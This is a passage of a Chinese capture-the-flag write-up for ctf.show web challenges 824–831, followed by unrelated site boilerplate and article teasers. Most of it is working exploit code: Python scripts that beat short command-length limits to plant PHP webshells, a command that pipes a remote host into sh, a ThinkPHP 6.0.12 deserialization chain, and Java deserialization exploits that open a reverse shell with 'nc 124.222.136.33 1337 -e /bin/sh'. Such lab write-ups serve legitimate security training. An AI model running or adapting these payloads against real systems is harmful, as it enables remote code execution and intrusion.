}def changeFile():for p in chagneFile_payload:sendPayload(url,p)print("[*] create "+p.strip())time.sleep(delay)def clearFile():for p in clearFile_payload:sendPayload(url_2,p)print("[*] create "+p.strip())time.sleep(delay)def getshell():for p in shell_payload:sendPayload(url_2,p)print("[*] create "+p.strip())time.sleep(delay)data={"cmd":"* /t*"}requests.post(url_2,data=data,files=file)data={"cmd":"php z"}requests.post(url_2,data=data)def checkShell():response = requests.get(url+"1.php")if response.status_code == requests.codes.ok:print("[*] Attack success!!!Webshell is "+url+"1.php")def sendPayload(url,payload):data={"cmd":payload}requests.post(url,data=data)def run():changeFile()clearFile()getshell()checkShell()def main():run()if __name__ == '__main__':main()

web824

5字符可写无dir命令

匹配了所有带h的行,将其重新写到index.php中,有点对敌特攻的意思(

脚本:

import requests
import timeurl = "http://b024a2bc-8ec6-4e70-bbee-13cb62f358e4.challenge.ctf.show/"payload=[
">grep",
">h",
"*>j",
"rm g*",
"rm h*",
">cat",
"*>>i",
"rm c*",
"rm j",
">cp",
"*"
]def writeFile(payload):data={"cmd":payload}requests.post(url,data=data)def run():for p in payload:writeFile(p.strip())print("[*] create "+p.strip())time.sleep(0.5)print("[*] Attack success!!!Webshell is "+url)def main():run()if __name__ == '__main__':main()

执行后是这种效果,可以绕过长度限制为所欲为了

web825

4字符,可写,有dir


linux中dir和ls的区别:都是将当前目录的文件和文件夹按照顺序列出在同一行,但是ls经过管道或重定向后,结果是换行的,而dir经过管道或重定向后,见过是不换行的。
如果用ls拼接命令,在保证顺序的基础上,需要在每行后面加一个\来拼接下一行的命令
用dir命令就不需要\来拼接,只要保证顺序正确就行

只打一个*执行命令的原理:举个例子,当文件夹下面有ls m n o p q文件时,只执行一个*就等效于执行ls m n o p q这个命令,把第一个作为命令,后面的作为参数。再有,如果一个目录下有rev v两个文件,执行一个*v就相当于执行rev v,将v文件的内容逆序输出

脚本:

import requests
import timeurl = "http://999c346d-7b65-48e1-9db5-593b36c0a736.challenge.ctf.show/"payload = [
'>sl',
'>kt-',
'>j\\>',
'>j\\#',
'>dir',
'*>v',
'>rev',
'*v>x',
'>php',
'>a.\\',
'>\\>\\',
'>-d\\',
'>\\ \\',
'>64\\',
'>se\\',
'>ba\\',
'>\\|\\',
'>4=\\',
'>Pz\\',
'>k7\\',
'>XS\\',
'>sx\\',
'>VF\\',
'>dF\\',
'>X0\\',
'>gk\\',
'>bC\\',
'>Zh\\',
'>ZX\\',
'>Ag\\',
'>aH\\',
'>9w\\',
'>PD\\',
'>S}\\',
'>IF\\',
'>{\\',
'>\\$\\',
'>ho\\',
'>ec\\',
'sh x',
'sh j'
]def writeFile(payload):data={"cmd":payload}requests.post(url,data=data)def run():for p in payload:writeFile(p.strip())print("[*] create "+p.strip())time.sleep(0.3)def check():response = requests.get(url+"a.php")if response.status_code == requests.codes.ok:print("[*] Attack success!!!Webshell is "+url+"a.php")def main():run()check()if __name__ == '__main__':main()

x文件内容

ls    -tk  >j  #j  php.xedni

j内容就是一个base64的逆序

成功写shell,/a.php?1=eval($_POST[1]);继续post转接,蚁剑连shell看数据库

web826

4字符,可写,无dir,可出网

 http://2030350346已经寄了,这个得自己搭一个恶意代码的服务器

建议用web827的脚本来打,通用性更强(

import requests
import timeurl = "http://b6902616-877f-4ea3-8033-a562c3891238.challenge.ctf.show/"payload = [
'>\\ \\',
'>-t\\',
'>\\>a',
'>ls\\',
'ls>v',
'>mv',
'>vt',
'*v*',
'>ls',
'l*>t',
'>cat',
'*t>z',#curl 2030350346|sh
#echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
'>sh',
'>\\|\\',
'>46\\',
'>03\\',
'>35\\',
'>30\\',
'>20\\',
'>\\ \\',
'>rl\\',
'>cu\\','sh z',
'sh a',
]
def writeFile(payload):data={"cmd":payload}requests.post(url,data=data)def run():for p in payload:writeFile(p.strip())print("[*] create "+p.strip())time.sleep(1)def check():response = requests.get(url+"1.php")if response.status_code == requests.codes.ok:print("[*] Attack success!!!Webshell is "+url+"1.php")def main():run()check()if __name__ == '__main__':main()

web827

4字符,可写、无dir,不出网

最少可以在4字符无dir的环境下拼接ls -t
当空格不够用时可以用$IFS,但是要注意命令部分不能有重复的字符组合
getshell的方式有很多种,需要根据环境来选择,如wget,curl,强制文件上传,无外网情况下getshell

脚本:

import requests
import timeurl = "http://9664b651-d71a-423a-94c4-6389e13273fb.challenge.ctf.show/"payload = [
'>\\ \\',
'>-t\\',
'>\\>a',
'>ls\\',
'ls>v',
'>mv',
'>vt',
'*v*',
'>ls',
'l*>t',
'>cat',
'*t>z','>php',
'>a.\\',
'>\\>\\',
'>-d\\',
'>\\ \\',
'>64\\',
'>se\\',
'>ba\\',
'>\\|\\',
'>4=\\',
'>Pz\\',
'>k7\\',
'>XS\\',
'>sx\\',
'>VF\\',
'>dF\\',
'>X0\\',
'>gk\\',
'>bC\\',
'>Zh\\',
'>ZX\\',
'>Ag\\',
'>aH\\',
'>9w\\',
'>PD\\',
'>S}\\',
'>IF\\',
'>{\\',
'>\\$\\',
'>ho\\',
'>ec\\','sh z',
'sh a'
]def writeFile(payload):data={"cmd":payload}requests.post(url,data=data)def run():for p in payload:writeFile(p.strip())print("[*] create "+p.strip())time.sleep(1)def check():response = requests.get(url+"a.php")if response.status_code == requests.codes.ok:print("[*] Attack success!!!Webshell is "+url+"a.php")def main():run()check()if __name__ == '__main__':main()

web828

国赛TP6的反序列化

 ThinkPHP V6.0.12LTS,顺着版本号嘎嘎找

ThinkPHP6.0.12LTS反序列漏洞分析 - FreeBuf网络安全行业门户

题目源码拿到反序列化入口

 构造exp:

<?php
namespace think{abstract class Model{private $lazySave = false;private $data = [];private $exists = false;protected $table;private $withAttr = [];protected $json = [];protected $jsonAssoc = false;function __construct($obj = ''){$this->lazySave = True;$this->data = ['whoami' => ['cat /f*']];$this->exists = True;$this->table = $obj;$this->withAttr = ['whoami' => ['system']];$this->json = ['whoami',['whoami']];$this->jsonAssoc = True;}}
}
namespace think\model{use think\Model;class Pivot extends Model{}
}namespace{echo(urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}

 bp发包

web829

题目附件:

package com.ctfshow.controller;@Controller
@RequestMapping("/")
public class IndexController {@RequestMapping(value = "/",method = RequestMethod.POST)@ResponseBodypublic String index(HttpServletRequest request){User user=null;try {byte[] userData = Base64.getDecoder().decode(request.getParameter("userData"));ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(userData));user = (User) objectInputStream.readObject();}catch (Exception e){return "base64 decode error";}return "unserialize done, you username is "+user.getName();}@RequestMapping(value = "/",method = RequestMethod.GET)@ResponseBodypublic String index(){return "plz post parameter 'userData'  to unserialize";}
}package com.ctfshow.entity;public class User implements Serializable {private static final long serialVersionUID = -3254536114659397781L;private String username;public User(String username) {this.username = username;}public String getName(){return this.username;}private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {in.defaultReadObject();Runtime.getRuntime().exec(this.username);}
}

User的readObject方法直接命令执行了

这不是白送

exp类

package com.ctfshow.entity;import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.util.Base64;public class exp {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {User user = new User("nc 124.222.136.33 1337 -e /bin/sh");serialize(user);}public static void serialize(Object obj) throws IOException, IOException {ByteArrayOutputStream data =new ByteArrayOutputStream();ObjectOutput oos =new ObjectOutputStream(data);oos.writeObject(obj);oos.flush();oos.close();System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));};}

User类

package com.ctfshow.entity;import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;public class User implements Serializable {private static final long serialVersionUID = -3254536114659397781L;private String username;public User(String username) {this.username = username;}public String getName(){return this.username;}private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {in.defaultReadObject();Runtime.getRuntime().exec(this.username);}
}

payload:

userData=rO0ABXNyABdjb20uY3Rmc2hvdy5lbnRpdHkuVXNlctLVkKWhC+9rAgABTAAIdXNlcm5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAIW5jIDEyNC4yMjIuMTM2LjMzIDEzMzcgLWUgL2Jpbi9zaA==

监听,反弹shell

web830

这次恶意readObject方法在父类

构造exp:

package com.ctfshow.entity;import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.util.Base64;public class exp {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {User user = new User("Z3r4y");user.secret="nc 124.222.136.33 1337 -e /bin/sh";serialize(user);}public static void serialize(Object obj) throws IOException, IOException {ByteArrayOutputStream data =new ByteArrayOutputStream();ObjectOutput oos =new ObjectOutputStream(data);oos.writeObject(obj);oos.flush();oos.close();System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));};}

监听,反弹shell

web831

题目把User类ban了,问题不大,我们直接反序列化BaseUser类

利用readObject方法来实现代码执行是在生成完整对象前利用,即对象生成后不再使用,只是借用生成对象时调用readObject方法来达成命令执行的效果

如果父类存在可利用的readObject方法,那么既可以反序列化子类,也可以反序列化父类,都可以调用父类的readObject方法,即使报错类型转换异常,因为readObject方法已经被调用,我们的目的也已达到。

package com.ctfshow.entity;import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.util.Base64;public class exp {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {BaseUser baseUser = new BaseUser();baseUser.secret="nc 124.222.136.33 1337 -e /bin/sh";serialize(baseUser);}public static void serialize(Object obj) throws IOException, IOException {ByteArrayOutputStream data =new ByteArrayOutputStream();ObjectOutput oos =new ObjectOutputStream(data);oos.writeObject(obj);oos.flush();oos.close();System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));};}

监听,反弹shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/263529.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

NXP实战笔记(七):S32K3xx基于RTD-SDK在S32DS上配置ICU输入捕获

目录 1、概述 2、输入捕获SDK配置 2.1、SAIC中断方式 2.2、IPWM或者IPM 1、概述 输入捕获&#xff0c;可以抓取高电平时间、低电平时间、占空比、周期、边沿检测与回调函数、边沿计数&#xff08;ABZ解码&#xff09;、时间戳、唤醒中断。 记录一下根据Emios模块实现上述部分…

CSS列表学习2

之前学习了列表&#xff1b;继续熟悉&#xff1b; <!DOCTYPE html> <html> <head> <meta http-equiv"Content-Type" content"text/html; charsetutf-8"/><title></title><meta charset"utf-8" /><…

常用显示屏学习——LCD12864(含高级驱动程序)

LCD12864液晶显示屏 屏幕介绍 ① 可显示四行字符&#xff0c;每行可显示8个汉字或者16个数字和字母&#xff1b; ②可串行通信和并行通信&#xff1b; ③ 串口接口管脚信号 通信方法 &#xff08;一&#xff09;八位并行通信方法 &#xff08;二&#xff09;串行通信方法 用…

iMazing3终极iPhone数据设备管理软件

iMazing是一款功能丰富的iOS设备管理软件&#xff0c;具备多种实用功能&#xff0c;以下是它的主要功能的详细介绍&#xff1a; iMazing3Mac-最新绿色安装包下载如下&#xff1a; https://wm.makeding.com/iclk/?zoneid49816 iMazing3Win-最新绿色安装包下载如下&#xff1…

08 Redis之集群的搭建和复制原理+哨兵机制+CAP定理+Raft算法

5 Redis 集群 2.8版本之前, Redis采用主从集群模式. 实现了数据备份和读写分离 2.8版本之后, Redis采用Sentinel哨兵集群模式 , 实现了集群的高可用 5.1 主从集群搭建 首先, 基本所有系统 , “读” 的压力都大于 “写” 的压力 Redis 的主从集群是一个“一主多从”的读写分…

论文阅读:Ground-Fusion: A Low-cost Ground SLAM System Robust to Corner Cases

前言 最近看到一篇ICRA2024上的新文章&#xff0c;是关于多传感器融合SLAM的&#xff0c;好像使用了最近几年文章中较火的轮式里程计。感觉这篇文章成果不错&#xff0c;代码和数据集都是开源的&#xff0c;今天仔细读并且翻译一下&#xff0c;理解创新点、感悟研究方向、指导…

lxml库和Xpath提取网页数据的基础与实战:完整指南与实战【第92篇—提取网页】

使用lxml库和Xpath提取网页数据的基础与实战 在网络爬虫和数据抓取中&#xff0c;从网页中提取所需信息是一项常见的任务。lxml库和Xpath是Python中用于解析和提取HTML/XML数据的强大工具。本文将介绍lxml库的基础知识&#xff0c;以及如何使用Xpath表达式来准确地提取网页数据…

Flutter Slider自定义滑块样式 Slider的label标签框常显示

1、自定义Slider滑块样式 Flutter Slider控件的滑块系统样式是一个圆点&#xff0c;thumbShape默认样式是RoundSliderThumbShape&#xff0c;如果想要使用其它的样式就需要自定义一下thumbShape&#xff1b; 例如需要一个上图样式的&#xff08;圆点半透明圆形边框&#xff09…

游戏同步+游戏中的网络模块

原文链接&#xff1a;游戏开发入门&#xff08;九&#xff09;游戏同步技术_游戏数据同步机制流程怎么开发-CSDN博客 游戏开发入门&#xff08;十&#xff09;游戏中的网络模块_游戏开发组网-CSDN博客 3.同步技术的基本常识&#xff1a; a.同步给谁&#xff1f;某个用户&…

基于ZYNQ的PCIE高速数据采集卡的设计(二)总体设计与上位机

采集卡总体设计及相关技术 2.1 引言 本课题是来源于雷达辐射源识别项目&#xff0c;需要对雷达辐射源中频信号进行采集传输 和存储。本章基于项目需求&#xff0c;介绍采集卡的总体设计方案。采集卡设计包括硬件设计 和软件设计。首先对采集卡的性能和指标进行分析&#x…

Nginx使用

Nginx 常用命令&#xff1a; nginx -s stop 快速关闭Nginx&#xff0c;可能不保存相关信息&#xff0c;并迅速终止web服务。 nginx -s quit 平稳关闭Nginx&#xff0c;保存相关信息&#xff0c;有安排的结束web服务。 nginx -s reload 因改变了Nginx相关配置…

华清远见作业第三十九天——Qt(第一天)

思维导图&#xff1a; 登录界面&#xff1a; 代码&#xff1a; #include "mainwindow.h" #include<QToolBar> #include<QPushButton> MainWindow::MainWindow(QWidget *parent): QMainWindow(parent) {this->resize(600,400);this->setFixedSize…

32单片机基础:对射式红外传感器计次

接线如下图&#xff1a; 在HardWare建立两个文件&#xff1a;如图 COuntSensor.c 如何配置外部中断,根据下面图&#xff0c;我们需要把外部中断从GPIO到NVIC这一路出现的外设模块都配置好。把这条信号打通就OK了。 1.配置RCC:把我们这里涉及的外设时钟都打开&#xff0c;不打…

算法沉淀——动态规划之简单多状态 dp 问题(上)(leetcode真题剖析)

算法沉淀——动态规划之简单多状态 dp 问题上 01.按摩师02.打家劫舍 II03.删除并获得点数04.粉刷房子 01.按摩师 题目链接&#xff1a;https://leetcode.cn/problems/the-masseuse-lcci/ 一个有名的按摩师会收到源源不断的预约请求&#xff0c;每个预约都可以选择接或不接。在…

【数据结构(顺序表)】

一、什么是数据结构? 数据结构是由“数据”和“结构”两词组合而来。 什么是数据&#xff1f;常见的数值1、2、3、4.....、教务系统里保存的用户信息&#xff08;姓名、性别、年龄、学历等等&#xff09;、网页里肉眼可以看到的信息&#xff08;文字、图片、视频等等&#xff…

二分算法(c++版)

二分的本质是什么&#xff1f; 很多人会认为单调性是二分的本质&#xff0c;但其实其本质并非单调性&#xff0c;只是说&#xff0c;有单调性的可以进行二分&#xff0c;但是有些题目没有单调性我们也可以进行二分。其本质其实是一个边界问题&#xff0c;给定一个条件&#xf…

第九届大数据与计算国际会议 (ICBDC 2024) 即将召开!

2024年第九届大数据与计算国际会议&#xff08;ICBDC 2024&#xff09;将于2024年5月24至26日在泰国曼谷举行。本次会议由朱拉隆功大学工程学院工业工程系主办。ICBDC 2024的宗旨是展示大数据和计算主题相关科学家的最新研究和成果&#xff0c;为来自不同地区的专家代表们提供一…

【MySQL】连接查询和自连接的学习和总结

&#x1f308;个人主页: Aileen_0v0 &#x1f525;热门专栏: 华为鸿蒙系统学习|计算机网络|数据结构与算法 ​&#x1f4ab;个人格言:“没有罗马,那就自己创造罗马~” #mermaid-svg-x4sPmqTXA4yupW1n {font-family:"trebuchet ms",verdana,arial,sans-serif;font-siz…

从零开始学IO_FILE的堆利用:理解IO_FILE之fwrite

​ 要学习基于IO_FILE的堆利用就得了解它的本质&#xff0c;以下会介绍几个主要的IO函数&#xff0c;结合源码和动态调试去学习。 调试环境搭建可参考环境从零开始配置pwn环境&#xff1a;从零开始配置pwn环境&#xff1a;优化pwn虚拟机配置支持libc等指令-CSDN博客 1.在开始上…

【嵌入式实践】【芝麻】【目录】从0到1给电动车添加指纹锁

0. 前言 该项目是基于stm32F103和指纹模块做了一个通过指纹锁控制电动车的小工具。支持添加指纹、删除指纹&#xff0c;电动车进入P档等待时计时&#xff0c;计时超过5min则自动锁车&#xff0c;计时过程中按刹车可中断P档状态&#xff0c;同时中断锁车计时。改项目我称之为“芝…